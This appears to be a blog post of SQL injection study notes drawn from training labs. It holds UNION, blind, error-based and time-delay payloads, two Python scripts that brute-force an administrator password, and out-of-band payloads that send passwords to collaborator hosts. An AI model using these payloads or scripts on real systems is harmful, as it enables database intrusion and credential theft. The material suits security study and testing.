Post

SQL cheatsheet

\/

SQL cheatsheet

NOTE:

In ORACLE, every SELECT statement must specify a table to select FROM To test its the ORACLE is not, use this method or similar:

  • If Oracle, this statement cause Interal Server Error: TrackingId=xyz'||(SELECT '')||' TrackingId=KjXtzlai4eYNgiSL'UNION SELECT ''--

  • If not, verify with if no error occurs: TrackingId=xyz'||(SELECT '' FROM dual)||' TrackingId=KjXtzlai4eYNgiSL'UNION SELECT '' FROM dual--

Can use encode in XML parsing process to bypass the waf:

Example: use dec_entities encode and hex_entities encode to bypass:

1 UNION SELECT password FROM users WHERE username='administrator'

=> 1 UNION SELECT password FROM users WHERE username='administrator'

UNION attack

Detect numbers of columns of result set

1
2
3
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Can use ‘ORDER BY’ with UNION to exploit without names of any columns

Origin: SELECT id, name FROM users WHERE name = ‘John’; Payload: SELECT id, name FROM users WHERE name = ‘John’ ORDER BY 3–; => cause error

=> there are only 2 columns in query

1
2
3
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

When use the UNION not have the right number of columns, cause internal server error, when work, 200 OK

Database-specific syntax

There are built-in table, example is table ‘dual’ in Oracle, we can use it for UNION ATTACK

’ UNION SELECT NULL FROM DUAL–

Extract datatype compatible with specific columns

GET /filter?category='UNION+SELECT+NULL,'OJg7mW',NULL--

=> Then we know that columns 2 is compatibale with the string

Oracle: cause of every SELECT query need to use FROM clause:

'UNION+SELECT+NULL,NULL+FROM+dual--

Retrieving interest data with UNION

When we know the number of columns returned by the original query, and know which columns can hold string data, we can retrieve interesting data

Suppose: SELECT id, name FROM employees WHERE name = 'input_here';

Payload: ' UNION SELECT username, password FROM users--

Examining database in SQLi

GOALS: - The type and version of the database software. - The tables and columns that the database contains.

Database TypeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

Example:

1
2
3
'UNION SELECT @@version--
GET /filter?category='UNION+SELECT+@@version,NULL,NULL--
'UNION+SELECT+NULL,banner+FROM+v$version-- 

Listing the contents of the databases

Non-oracle

Every database have information_schema.tables to list all table in database

SELECT * FROM information_schema.tables

1
2
3
4
5
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

1
2
3
4
5
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

example:

Extract tables: 'UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--

Extract columns: 'UNION+SELECT+COLUMN_NAME,NULL+FROM+information_schema.columns+WHERE+table_name='users_yyifmy'--

Extract data from column: 'UNION+SELECT+password_epsfwo,username_bdsehe+FROM+users_yyifmy--

Oracle

You can list tables by querying all_tables: SELECT * FROM all_tables

You can list columns by querying all_tab_columns: SELECT * FROM all_tab_columns WHERE table_name = 'USERS' 'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_VKXFMK'--

Retrieving multiple values within a single column

Use concatination to retrieve multiple values together within this single column.

DatabaseSyntax
Oracle'foo' | | 'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo' | | 'bar'

MySQL ‘foo’ ‘bar’ [Note the space between the two strings] CONCAT(‘foo’,’bar’)

'UNION+SELECT+null,username||'-'||password+FROM+users--

Output:

1
2
3
carlos-oaym6na3wgbptt1rz1eu
administrator-d49v6zz4hdczno94kvd7
wiener-vsbbtfiu7s17bi8a24ic

Blind SQL injection

Exploiting blind SQL injection by triggering conditional responses

Example:

1
2
…xyz' AND '1'='1
…xyz' AND '1'='2

The first of these values causes the query to return results, because the injected AND ‘1’=’1 condition is true. As a result, the “Welcome back” message is displayed. The second value causes the query to not return any results, because the injected condition is false. The “Welcome back” message is not displayed.

=> Extract each each character at a time:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm => This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't => This does not return “Welcome back”, First character is not greater than t.

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's => “Welcome back” appears => the first character of password is s.

Example exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import httpx
import string

password_length = 20
password = ""
alphabet= list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
print(alphabet)

url = "https://0a25000a03adb1058238338d00af00cc.web-security-academy.net/"
cookies = {
    "session": "JJRFC6uHJFhRo7v4niHdGrE1HAr61Pw6",
    "TrackingId": "a"
}

with httpx.Client() as client:
   for position in range(1, password_length + 1):  
    for x in alphabet:  
        cookies["TrackingId"] = (
            f"PCC6wvbtVCknZGoW' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), {position}, 1) = '{x}"
        )
        
        response = httpx.get(url, cookies=cookies)

        if "Welcome back!" in response.text: 
            password += x
            print(f"Found character at position {position}: {x}")
            break

print(f"Password: {password}")


You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

DatabaseSyntax
OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

Error-based SQL injection

Use error messages to extract or infer sensitive data from the database

Exploit blind SQL injection by triggering conditional erroes

DatabaseQuery
OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
1
2
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Use CASE keyword to test condition:

  • With the first input, the CASE expression FALSE then go to ELSE evaluates to ‘a’, which does not cause any error.
  • With the second input, it TRUE then go to TRUE evaluates to 1/0, which causes a divide-by-zero error.

If the error causes a difference in the application’s HTTP response, you can use this to determine whether the injected condition is true.

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

ORACLE TrackingId=KjXtzlai4eYNgiSL'UNION (SELECT CASE WHEN LENGTH(password)>20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator')--;

If the length of password is greater than 20 => Cause 500 error. By this we can determine the length of password is 20.

Then extract each character of password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import httpx
import string


password_length = 20
password = ""
alphabet= list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
print(alphabet)

url = "https://0a0a003d031b165a80dd0382006500d1.web-security-academy.net/"
cookies = {
    "session": "kmH73vUrbJzcoQVG4e2ShDYQ2jYY9OTk",
    "TrackingId": "a"
}

with httpx.Client() as client:
   for position in range(1, password_length + 1):  
    for x in alphabet:  
        cookies["TrackingId"] = (
            f"KjXtzlai4eYNgiSL'UNION (SELECT CASE WHEN (SUBSTR(password,{position},1) = '{x}') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator')--"
        )
        
        response = httpx.get(url, cookies=cookies)

        if response.status_code == 500: 
            password += x
            print(f"Found character at position {position}: {x}")
            break

print(f"Password: {password}")


Extracing sensitive data via verbose SQL error messages

DatabaseQueryError Message
MicrosoftSELECT 'foo' WHERE 1 = (SELECT 'secret')Conversion failed when converting the varchar value ‘secret’ to data type int.
PostgreSQLSELECT CAST((SELECT password FROM users LIMIT 1) AS int)invalid input syntax for integer: “secret”
MySQLSELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))XPATH syntax error: ‘\secret’

Sometimes the misconfiguration of database results in verbose message.

But occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a visible one.

  • You can use CAST() to achieve this, it enables you to convert one data type to another:

CAST((SELECT example_column FROM example_table) AS int)

May cause error similar to the following:

=> ERROR: invalid input syntax for type integer: "Example data"

Example payload:

TrackingId=' AND 2=CAST((SELECT password FROM users LIMIT 1) AS int)--

=> ERROR: invalid input syntax for type integer: "0h50pj2lgndwg4wlj8tj"

If MySQL: TrackingId=' UNION SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users WHERE username='administrator')))--

Exploiting blind SQL injection by triggering time delays

Time delays

DatabaseQuery
Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT SLEEP(10)

Conditional time delays

DatabaseQuery
OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a' <concatinate here> dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

Delaying the execution of a SQL query also delays the HTTP responses, we use this to determine the truth of injected condition:

Example on Microsoft SQL Server:

1
2
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
  • The first of these inputs does not trigger a delay, because the condition 1=2 is false.
  • The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

By this we can extract each character at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Payload: %3B in SQL is decoded to “;”, which is make a new query:

1
2
3
4
5
6
%3B
SELECT CASE 
    WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'), 1, 1) < 'd') 
    THEN pg_sleep(10) 
    ELSE NULL 
END--

%3BSELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username=’administrator’), 1, 1) = ‘d’) THEN pg_sleep(3) ELSE NULL END–

Then use Burp Intruder to extract each position.

Exploiting blind SQL injection using out-of-band (OAST) techniques

Not exfiltrate data

DatabaseTechnique
Oracle(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
 The following technique works on fully patched Oracle installations, but requires elevated privileges:
 SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQLcopy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQLThe following techniques work on Windows only:
 LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
 SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'

An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user’s request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, but none of the techniques described so far will work. The application’s response doesn’t depend on the query returning any data, a database error occurring, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. These can be triggered based on an injected condition to infer information one piece at a time. More usefully, data can be exfiltrated directly within the network interaction.

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Payload:

TrackingId=SXiB94mO9w4AdDt8' UNION SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//zjmepd70qh5jap70t5mnwb1vqmwdkd82.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

Data exfiltrate

DatabaseTechnique
OracleSELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' | | (SELECT YOUR-QUERY-HERE) | | '.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQLcreate OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup ' | | p | | '.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
MySQLThe following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Payload:

TrackingId=xUHDNyHYioHCjZXM' UNION SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username='administrator') ||'bq5qwpecxtcvh1ec0htz3n87xy3prrfg.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

Type of ordered injection

First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.

Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.

Second-order SQL injection often occurs in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.

This post is licensed under CC BY 4.0 by the author.

Trending Tags